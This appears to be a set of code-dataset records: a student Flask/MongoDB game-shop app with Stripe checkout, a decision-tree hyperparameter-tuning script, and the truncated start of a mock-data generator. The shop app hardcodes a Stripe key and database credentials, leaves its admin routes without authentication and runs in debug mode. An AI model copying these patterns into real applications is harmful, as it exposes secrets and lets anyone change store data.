"api": [{"api_name": "numpy.sum", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 32, "usage_type": "attribute"}, {"api_name": "cv2.floodFill", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.RETR_CCOMP", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.fillConvexPoly", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 66, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 83, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.fastNlMeansDenoising", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.RETR_LIST", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.RETR_LIST", "line_number": 110, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 116, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 121, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 122, "usage_type": "call"}]} {"seq_id": "22047599885", "text": "# Import necessary modules\nimport codecs\nimport json\nimport logging\nimport requests\nfrom bson.json_util import dumps\nfrom flask import Flask, render_template, request, redirect, url_for, session\nfrom flask import jsonify\nfrom pymongo import MongoClient\nimport datetime\nimport os\nimport stripe\n\n# Create a Flask app instance\napp = Flask(__name__)\napp.config['PREFERRED_URL_SCHEME'] = 'https'\n# Initialize the \"logged_in\", \"email_name\" and \"Stripe API key\" variables\nlogged_in = False\nemail_name = \"\"\nstripe.api_key = \"rk_test_51MEg5JD68JztsQwgsOWYza5hLUE1cdK9haRBoXTrcnm2M1SAGbSDb5xSiQG5x8J2u5OaWhb4O0ZIm5VjGkojIKKy00XaSLfk6L\"\n\n# Initialise the MongoDB\n# Connect to the MongoDB cluster and get the \"Shop\" database\nclient = MongoClient(\"mongodb+srv://d:d@cluster0.ccyermz.mongodb.net/?retryWrites=true&w=majority\")\n# Connect to the Shop db\ndb = client.Shop\n\n\n# Define a route for \"/\" and \"/home\" URLs\n@app.route('/')\n@app.route('/home')\ndef home():\n print(logged_in)\n # Render the \"home.html\" template\n return render_template('home.html')\n\n\n# Define a route for the \"/about\" URL\n@app.route('/about', methods=[\"GET\", \"POST\"])\ndef about():\n return render_template('about.html')\n2\n# -------------------------------------------\n\n# Define the /shop route and view function allowing both GET and POST methods\n@app.route(\"/shop\", methods=[\"GET\", \"POST\"])\ndef shop():\n # Set the URL for the shop-items cloud function\n url = \"https://europe-west2-river-psyche-366910.cloudfunctions.net/shop-items\"\n\n # Make a GET request to the URL and get the response\n response = requests.get(url)\n\n # Convert the response content to a string\n responseString = response.content\n responseString = str(responseString)\n\n # Remove the first and last characters from the response string\n responseString = responseString[3:-2]\n\n # Create a new string that contains the response data in a JSON array\n responseString2 = \"{\\\"items\\\":[\" + responseString + \"]}\"\n\n # Load the JSON data into a Python dictionary\n data = json.loads(responseString2)\n\n # If the request method is POST, get the product and email & product values\n # from the request form and insert them into the \"basket\" collection\n if request.method == \"POST\":\n product = request.form[\"product\"]\n emailusername = request.form[\"emailusername\"]\n collection = db.basket\n collection.insert_one({\"email\": f\"{emailusername}\", \"product\": f\"{product}\"})\n\n # Render the shop.html template, passing the products data to the template\n return render_template(\"shop.html\", response=data[\"items\"])\n\n\n# Define the /login route and render login.html template\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n return render_template(\"login.html\")\n\n\n# Define the /logged route and view function allowing POST method\n@app.route(\"/logged-in\", methods=[\"POST\"])\ndef logged_in_fun():\n # set global variable\n global logged_in, email_name\n\n # get the JSON data from the POST request which is made when the user has a successful sign in\n output = request.get_json()\n # convert the JSON output to a Python dictionary\n result = json.loads(output)\n\n # set email_name as the email of the user which successfully signed on. Data comes from ^ JSON request\n email_name = result[\"firstname\"]\n logged_in = True\n\n # Set environment variables\n os.environ['email'] = email_name\n\n print(\"email_name\", email_name)\n\n # Return the result as JSON\n return result\n\n\n# Define the /write-reviews route and view function allowing POST and GET method\n@app.route(\"/write-reviews\", methods=[\"GET\", \"POST\"])\ndef writeReviews():\n # render the write-reviews.html template\n return render_template(\"write-reviews.html\")\n\n\n# Define the /comments route and view function allowing POST and GET method\n@app.route(\"/comments\", methods=[\"GET\", \"POST\"])\ndef comments():\n # Set the URL for the reviews cloud function\n url = \"https://europe-west2-river-psyche-366910.cloudfunctions.net/reviews\"\n response = requests.get(url)\n responseString = response.content\n responseString = str(responseString)\n responseString = responseString[3:-2]\n\n responseString2 = \"{\\\"items\\\":[\" + responseString + \"]}\"\n data = json.loads(responseString2)\n\n # Connect to Reviews db\n collection = db.reviews\n\n # if request is POST get data from the request -> format it as a python dictionary and insert into database\n if request.method == \"POST\":\n name = request.form[\"name\"]\n review = request.form[\"review\"]\n date = str(datetime.datetime.now().strftime(\"%A %d-%m-%Y, %H:%M:%S\"))\n data = {\n \"name\": name,\n \"review\": review,\n \"reviewDate\": date\n }\n insert_user = collection.insert_one(data)\n\n # get reviews from the database\n myCursor = db.reviews.find({})\n list_cur = list(myCursor)\n\n # render the comments.html template with the reviews data\n return render_template(\"comments.html\", response=list_cur)\n\n\n# Define the /sign-out route\n@app.route('/sign_out.html')\ndef sign_out():\n return render_template('sign_out.html')\n\n\n# Define the /admin route and view function allowing POST and GET method\n@app.route(\"/admin\", methods=[\"GET\", \"POST\"])\ndef admin():\n # Set the URL for the shop-items cloud function and get the data -> format the string into JSON then into python dict\n url = \"https://europe-west2-river-psyche-366910.cloudfunctions.net/shop-items\"\n response = requests.get(url)\n responseString = response.content\n responseString = str(responseString)\n responseString = responseString[3:-2]\n\n responseString2 = \"{\\\"items\\\":[\" + responseString + \"]}\"\n data = json.loads(responseString2)\n\n # Connect to Items db\n collection = db.Items\n\n # If request method is post get the form data from /admin\n if request.method == \"POST\":\n item = request.form[\"item\"]\n itemName = request.form[\"itemName\"]\n # if item and itemName are not null / have values\n if item and itemName:\n # Find the specific item in the database\n a = collection.find_one({\"name\": f\"{itemName}\"})\n print(item, itemName, a)\n myquery = {\"name\": f\"{itemName}\"}\n\n # update the stock of the specific item\n newvalues = {\"$set\": {\"stock\": f\"{item}\"}}\n collection.update_one(myquery, newvalues)\n\n # render the admin.html template with the data\n return render_template(\"admin.html\", response=data[\"items\"])\n\n\n# /add items has GET and POST request. This function will add whole products to the Items collection of the shop database\n@app.route(\"/add_items\", methods=[\"GET\", \"POST\"])\ndef addItems():\n # connect to the Items database\n collection = db.Items\n\n if request.method == \"POST\":\n # get data from the request\n name = request.form[\"name\"]\n price = request.form[\"price\"]\n bluetooth = request.form[\"bluetooth\"]\n img = request.form[\"img\"]\n cpu = request.form[\"cpu\"]\n releaseDate = request.form[\"releaseDate\"]\n storage = request.form[\"storage\"]\n ram = request.form[\"ram\"]\n stock = request.form[\"stock\"]\n gpu = request.form[\"gpu\"]\n\n # insert the item/product into the database\n collection.insert_one({\n \"name\": f\"{name}\",\n \"price\": f\"{price}\",\n \"bluetooth\": f\"{bluetooth}\",\n \"img\": f\"{img}\",\n \"cpu\": f\"{cpu}\",\n \"releaseDate\": f\"{releaseDate}\",\n \"storage\": f\"{storage}\",\n \"ram\": f\"{ram}\",\n \"stock\": f\"{stock}\",\n \"gpu\": f\"{gpu}\"\n })\n\n return render_template(\"add_items.html\")\n\n\n# /delete_items consists of POST and GET request. This route and function shows all the products and allows the admin to\n# delete products from the Items collection\n@app.route(\"/delete_items\", methods=[\"POST\", \"GET\"])\ndef deleteItems():\n # Connect to the shop-items cloud function URL and get the data -> make it into python dict\n url = \"https://europe-west2-river-psyche-366910.cloudfunctions.net/shop-items\"\n response = requests.get(url)\n responseString = response.content\n responseString = str(responseString)\n responseString = responseString[3:-2]\n\n responseString2 = \"{\\\"items\\\":[\" + responseString + \"]}\"\n data = json.loads(responseString2)\n\n # Connect to the Items database\n collection = db.Items\n\n # if request method is POST\n if request.method == \"POST\":\n # get item from the request\n item = request.form[\"item\"]\n\n # delete the item based on its name\n collection.delete_one({\"name\": f\"{item}\"})\n\n # render the delete_items template with the data of the shop items\n return render_template(\"delete_items.html\", response=data[\"items\"])\n\n\n# /delete_items consists of POST and GET request. This route and function shows all of the\n# items within the logged-in users' basket.\n@app.route(\"/basket\", methods=[\"GET\", \"POST\"])\ndef basket():\n # Connect to get-basket-items google cloud functions URL and make the response into python dict\n url = \"https://europe-west2-river-psyche-366910.cloudfunctions.net/get-basket-items\"\n response = requests.get(url)\n responseString = response.content\n responseString = str(responseString)\n responseString = responseString[3:-2]\n responseString2 = \"{\\\"items\\\":[\" + responseString + \"]}\"\n data = json.loads(responseString2)\n product_list = []\n\n # Connect to MongoDB databse to be able to query the database and remove things from\n # Basket on press of delete button\n collection = db.basket\n\n # This code below takes the email and product from the post request and deletes it from the MongoDB\n if request.method == \"POST\":\n email = request.form[\"email\"]\n product = request.form[\"product\"]\n print(email, product)\n collection.delete_one({\"email\": f\"{email}\", \"product\": f\"{product}\"})\n\n # render basket.html and send the list of products in the currently logged-in users basket\n return render_template(\"basket.html\", response=data)\n\n\n# Sets up payment based on what is clicked in the \"buy\" on the /shop route\n@app.route('/create-checkout-session', methods=['POST'])\ndef create_checkout_session():\n # If request method is POST, i.e., If user presses \"buy\" button in basket\n if request.method == \"POST\":\n product = request.form[\"product\"]\n print(product)\n collection = db.Items\n\n # Find item based on name from the DB that the user pressed \"buy\" on from the basket\n result = collection.find_one({\"name\": f\"{product}\"})\n\n # Make the result into an int.\n price = result[\"price\"]\n price = price.split(\".\")\n price = f\"{price[0]}{price[1]}\"\n print(price, \"PRICE\")\n\n # Create a stripe checkout session, with the product the user will buy\n # information coming from the db\n session = stripe.checkout.Session.create(\n line_items=[{\n 'price_data': {\n 'currency': 'usd',\n 'product_data': {\n 'name': f'{product}',\n },\n 'unit_amount': int(price),\n },\n 'quantity': 1,\n }],\n mode='payment',\n success_url='http://localhost:4242/success',\n cancel_url='http://localhost:4242/cancel',\n )\n # redirect to the payment url\n return redirect(session.url, code=303)\n return \"404.html\"\n\n\n# handles 500 error and returns exception.\n@app.errorhandler(500)\ndef server_error(e):\n # Log the error and stacktrace.\n logging.exception('An error occurred during a request.')\n return 'An internal error occurred.', 500\n\n\n# handles 404 errors returns 404.html\n@app.errorhandler(404)\ndef page_not_found(error):\n return render_template('404.html'), 404\n\n\n# Application Default credentials are automatically created.\n\n\nif __name__ == '__main__':\n # Only run for local development.\n app.run(host='127.0.0.1', port=8080, debug=True)\n", "repo_name": "davidobsz/Flask-GAE-game-shop-assignment", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 12121, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 15, "usage_type": "call"}, {"api_name": "stripe.api_key", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pymongo.MongoClient", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 52, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 69, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 69, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 70, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 70, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 82, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 92, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 94, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 101, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 113, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 121, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 133, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 133, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 134, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 134, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 135, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 135, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 136, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 136, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 149, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 155, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 163, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 175, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 175, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 176, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 176, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 177, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 177, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 190, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 199, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 199, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 201, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 201, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 202, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 202, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 203, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 203, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 204, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 204, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 205, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 205, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 206, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 206, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 207, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 207, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 208, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 208, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 209, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 209, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 210, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 210, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 226, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 235, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 241, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 247, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 247, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 249, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 249, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 255, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 264, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 269, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 277, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 277, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 278, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 278, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 279, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 279, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 284, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 291, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 291, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 292, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 292, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 307, "usage_type": "name"}, {"api_name": "stripe.checkout.Session.create", "line_number": 307, "usage_type": "call"}, {"api_name": "stripe.checkout", "line_number": 307, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 323, "usage_type": "call"}, {"api_name": "flask.session.url", "line_number": 323, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 323, "usage_type": "name"}, {"api_name": "logging.exception", "line_number": 331, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 338, "usage_type": "call"}]} {"seq_id": "37055257764", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Apr 17 19:58:08 2022\r\n\r\n@author: mi'to\r\n\"\"\"\r\nimport numpy as np\r\nfrom rdkit import Chem\r\nfrom rdkit.Chem import AllChem\r\nfrom rdkit.Chem import MACCSkeys\r\nfrom rdkit.Chem import DataStructs\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import metrics\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nimport time\r\nimport warnings\r\nimport sys\r\nfrom hyperopt import hp,STATUS_OK,Trials,fmin,tpe\r\nfrom sklearn.feature_selection import SelectPercentile, f_classif, SelectFromModel\r\nfrom sklearn.metrics import roc_auc_score, confusion_matrix, precision_recall_curve, auc, mean_squared_error, \\\r\n r2_score, mean_absolute_error\r\nfrom xgboost import XGBRegressor, XGBClassifier\r\nimport multiprocessing\r\nfrom sklearn.model_selection import cross_val_score\r\nimport statistics\r\nwarnings.filterwarnings(\"ignore\")\r\nimport statistics\r\nfrom sklearn.tree import DecisionTreeClassifier\r\n\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\nc = np.load(r\"train_data_part4_del0.95.npy\")\r\na = c[:,0:1024]\r\nb = c[:,1024:]\r\nspace_dtree = {\r\n 'max_depth': hp.choice('max_depth', range(1, 20)),\r\n 'max_features': hp.choice('max_features', range(1, 5)),\r\n 'criterion': hp.choice('criterion', [\"gini\", \"entropy\"]),\r\n}\r\n\r\nmax_depth_ls = [i for i in range(1,20)]\r\nmax_features_ls = [i for i in range(1,5)]\r\ncriterion_ls = [\"gini\", \"entropy\"]\r\n\r\n\r\n\r\n#划分训练集，测试集，验证集\r\nx_train_all,x_test,y_train_all,y_test=train_test_split(a, b, test_size=0.1,random_state=0)\r\nx_train,x_valid,y_train,y_valid =train_test_split(x_train_all, y_train_all, test_size=0.1,random_state=0)\r\n\r\ndef hyper_opt(args):\r\n model = DecisionTreeClassifier(**args) \r\n model.fit(x_train, y_train)\r\n val_preds = model.predict_proba(x_valid) \r\n loss = 1 - roc_auc_score(y_valid, val_preds[:, 1]) \r\n return {'loss': loss, 'status': STATUS_OK}\r\n\r\n# start hyper-parameters optimization\r\ntrials = Trials()\r\nbest_results = fmin(hyper_opt, space_dtree, algo=tpe.suggest, max_evals=50, trials=trials)\r\nprint('the best hyper-parameters : ' , best_results)\r\nbest_model = DecisionTreeClassifier(max_depth= max_depth_ls[best_results['max_depth']],\r\n max_features = max_features_ls[best_results['max_features']],\r\n criterion = criterion_ls[best_results['criterion']],\r\n\r\n ) \r\n \r\n\r\nnp.random.shuffle(c)\r\n\r\nnum = len(c) * 0.1\r\nif len(c) * 0.1 + 0.5 > int(num + 1):\r\n num = int(num + 1)\r\nelse:\r\n num = int(num)\r\n#划分test的长度，后续代码test的长度与valid长度相等，剩下的全为train，比例train：valid：test = 8 ： 1 ： 1\r\ntest_all = []\r\ntrain_all = []\r\nvalid_all = []\r\ni = 0 #代表索引\r\nk = 0 #代表test从前往后已经到了第几块\r\nwhile i < len(c) and k < 10:\r\n if k == 9:\r\n test = c[i:len(c)]\r\n valid = c[i - len(test) : i]\r\n train = c[0 : i - len(test)]\r\n else:\r\n test = c[i : i + num]\r\n valid = c[i + num : i + num + len(test)]\r\n tmp1 = c[0:i]\r\n tmp2 = c[i + num + len(test) : len(c)]\r\n train = np.concatenate((tmp1,tmp2))\r\n test_all.append(test)\r\n train_all.append(train)\r\n valid_all.append(valid)\r\n i += num\r\n k += 1\r\n#划分完成，下面进行交叉验证 \r\nacc_train = []\r\nauc_train = []\r\n\r\nauc_valid = []\r\nacc_valid = []\r\n\r\nauc_test = []\r\nacc_test = []\r\nfor i in range(len(train_all)):\r\n print('第%d次： ',i)\r\n x_train, x_valid, x_test = train_all[i][:,0:1024], valid_all[i][:,0:1024], test_all[i][:,0:1024]\r\n y_train, y_valid, y_test = train_all[i][:,1024:], valid_all[i][:,1024:], test_all[i][:,1024:]\r\n best_model.fit(x_train, y_train)\r\n pred = best_model.predict(x_train)\r\n pred_pro = best_model.predict_proba(x_train)[:, 1]\r\n acc = metrics.accuracy_score(y_train, pred)\r\n auc = roc_auc_score(y_train, pred_pro)\r\n acc_train.append(acc)\r\n auc_train.append(auc)\r\n \r\n pred = best_model.predict(x_valid)\r\n pred_pro = best_model.predict_proba(x_valid)[:, 1]\r\n acc = metrics.accuracy_score(y_valid, pred)\r\n auc = roc_auc_score(y_valid, pred_pro)\r\n acc_valid.append(acc)\r\n auc_valid.append(auc)\r\n\r\n\r\n pred = best_model.predict(x_test)\r\n pred_pro = best_model.predict_proba(x_test)[:, 1]\r\n acc = metrics.accuracy_score(y_test, pred)\r\n auc = roc_auc_score(y_test, pred_pro)\r\n acc_test.append(acc)\r\n auc_test.append(auc)\r\n \r\nprint(\"acc_train: {:.3f} ± {:.3f}\".format(statistics.mean(acc_train),statistics.stdev(acc_train)))\r\nprint(\"auc_train: {:.3f} ± {:.3f}\".format(statistics.mean(auc_train),statistics.stdev(auc_train)))\r\n\r\nprint(\"acc_valid: {:.3f} ± {:.3f}\".format(statistics.mean(acc_valid),statistics.stdev(acc_valid)))\r\nprint(\"auc_valid: {:.3f} ± {:.3f}\".format(statistics.mean(auc_valid),statistics.stdev(auc_valid)))\r\n\r\nprint(\"acc_test: {:.3f} ± {:.3f}\".format(statistics.mean(acc_test),statistics.stdev(acc_test)))\r\nprint(\"auc_test: {:.3f} ± {:.3f}\".format(statistics.mean(auc_test),statistics.stdev(auc_test)))", "repo_name": "hmmm7/Mitochondrial-effector-molecule", "sub_path": "dt_hyperopt.py", "file_name": "dt_hyperopt.py", "file_ext": "py", "file_size_in_byte": 5160, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "warnings.filterwarnings", "line_number": 29, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 36, "usage_type": "call"}, {"api_name": "hyperopt.hp.choice", "line_number": 40, "usage_type": "call"}, {"api_name": "hyperopt.hp", "line_number": 40, "usage_type": "name"}, {"api_name": "hyperopt.hp.choice", "line_number": 41, "usage_type": "call"}, {"api_name": "hyperopt.hp", "line_number": 41, "usage_type": "name"}, {"api_name": "hyperopt.hp.choice", "line_number": 42, "usage_type": "call"}, {"api_name": "hyperopt.hp", "line_number": 42, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 59, "usage_type": "call"}, {"api_name": "hyperopt.STATUS_OK", "line_number": 60, "usage_type": "name"}, {"api_name": "hyperopt.Trials", "line_number": 63, "usage_type": "call"}, {"api_name": "hyperopt.fmin", "line_number": 64, "usage_type": "call"}, {"api_name": "hyperopt.tpe.suggest", "line_number": 64, "usage_type": "attribute"}, {"api_name": "hyperopt.tpe", "line_number": 64, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 96, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 118, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 119, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 119, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 121, "usage_type": "argument"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 125, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 125, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 126, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 126, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 128, "usage_type": "argument"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 133, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 134, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 134, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 136, "usage_type": "argument"}, {"api_name": "statistics.mean", "line_number": 138, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 138, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 139, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 139, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 141, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 141, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 142, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 142, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 144, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 144, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 145, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 145, "usage_type": "call"}]} {"seq_id": "2290639272", "text": "import requests\nimport json\nimport os\nfrom types import SimpleNamespace as Namespace\nfrom datetime import datetime, timedelta\nimport uuid\nimport random\n\nmock_data_file = 'patient_stat_records.json'\npatient_user_id = '32deb191-1ebf-4a98-85d2-fe65e1e0eb9f'\nmedication_id = 'dda96f41-4649-42b6-a398-24a77293064a'\ndrug_name = 'Tylenol 8 HR Arthritis Pain: 650 mg'\ndrug_id = '64dd5c85-86bf-480d-b8a1-8e959892b439'\ndose = 1\nmedication_details = 'Crestor (rosuvastatin): 1.0 Tablet, Afternoon'\n\nout_file = open('out_test_data.sql', mode='w', encoding='utf-8')\n\ndef read_json():\n data_file = os.path.join(os.getcwd(), mock_data_file)\n fille_ = open(data_file, mode='r', encoding='utf-8')\n txt = fille_.read()\n fille_.close()\n contents = json.loads(txt, object_hook=lambda d: Namespace(**d))\n return contents\n\ndef getRandomFood():\n items = [\"Rice\",\"Chapati\", \"Milk\", \"Roti\", \"Salad\", \"Pizza\", \"Idli Sambhar\", \"Fries\", \"Burger\", \"Egg\", \"Noodles\", \"Soup\", \"Tea\", \"Coffee\", \"Bread Slice\", \"Curry\"]\n rand_idx = random.randrange(len(items))\n return 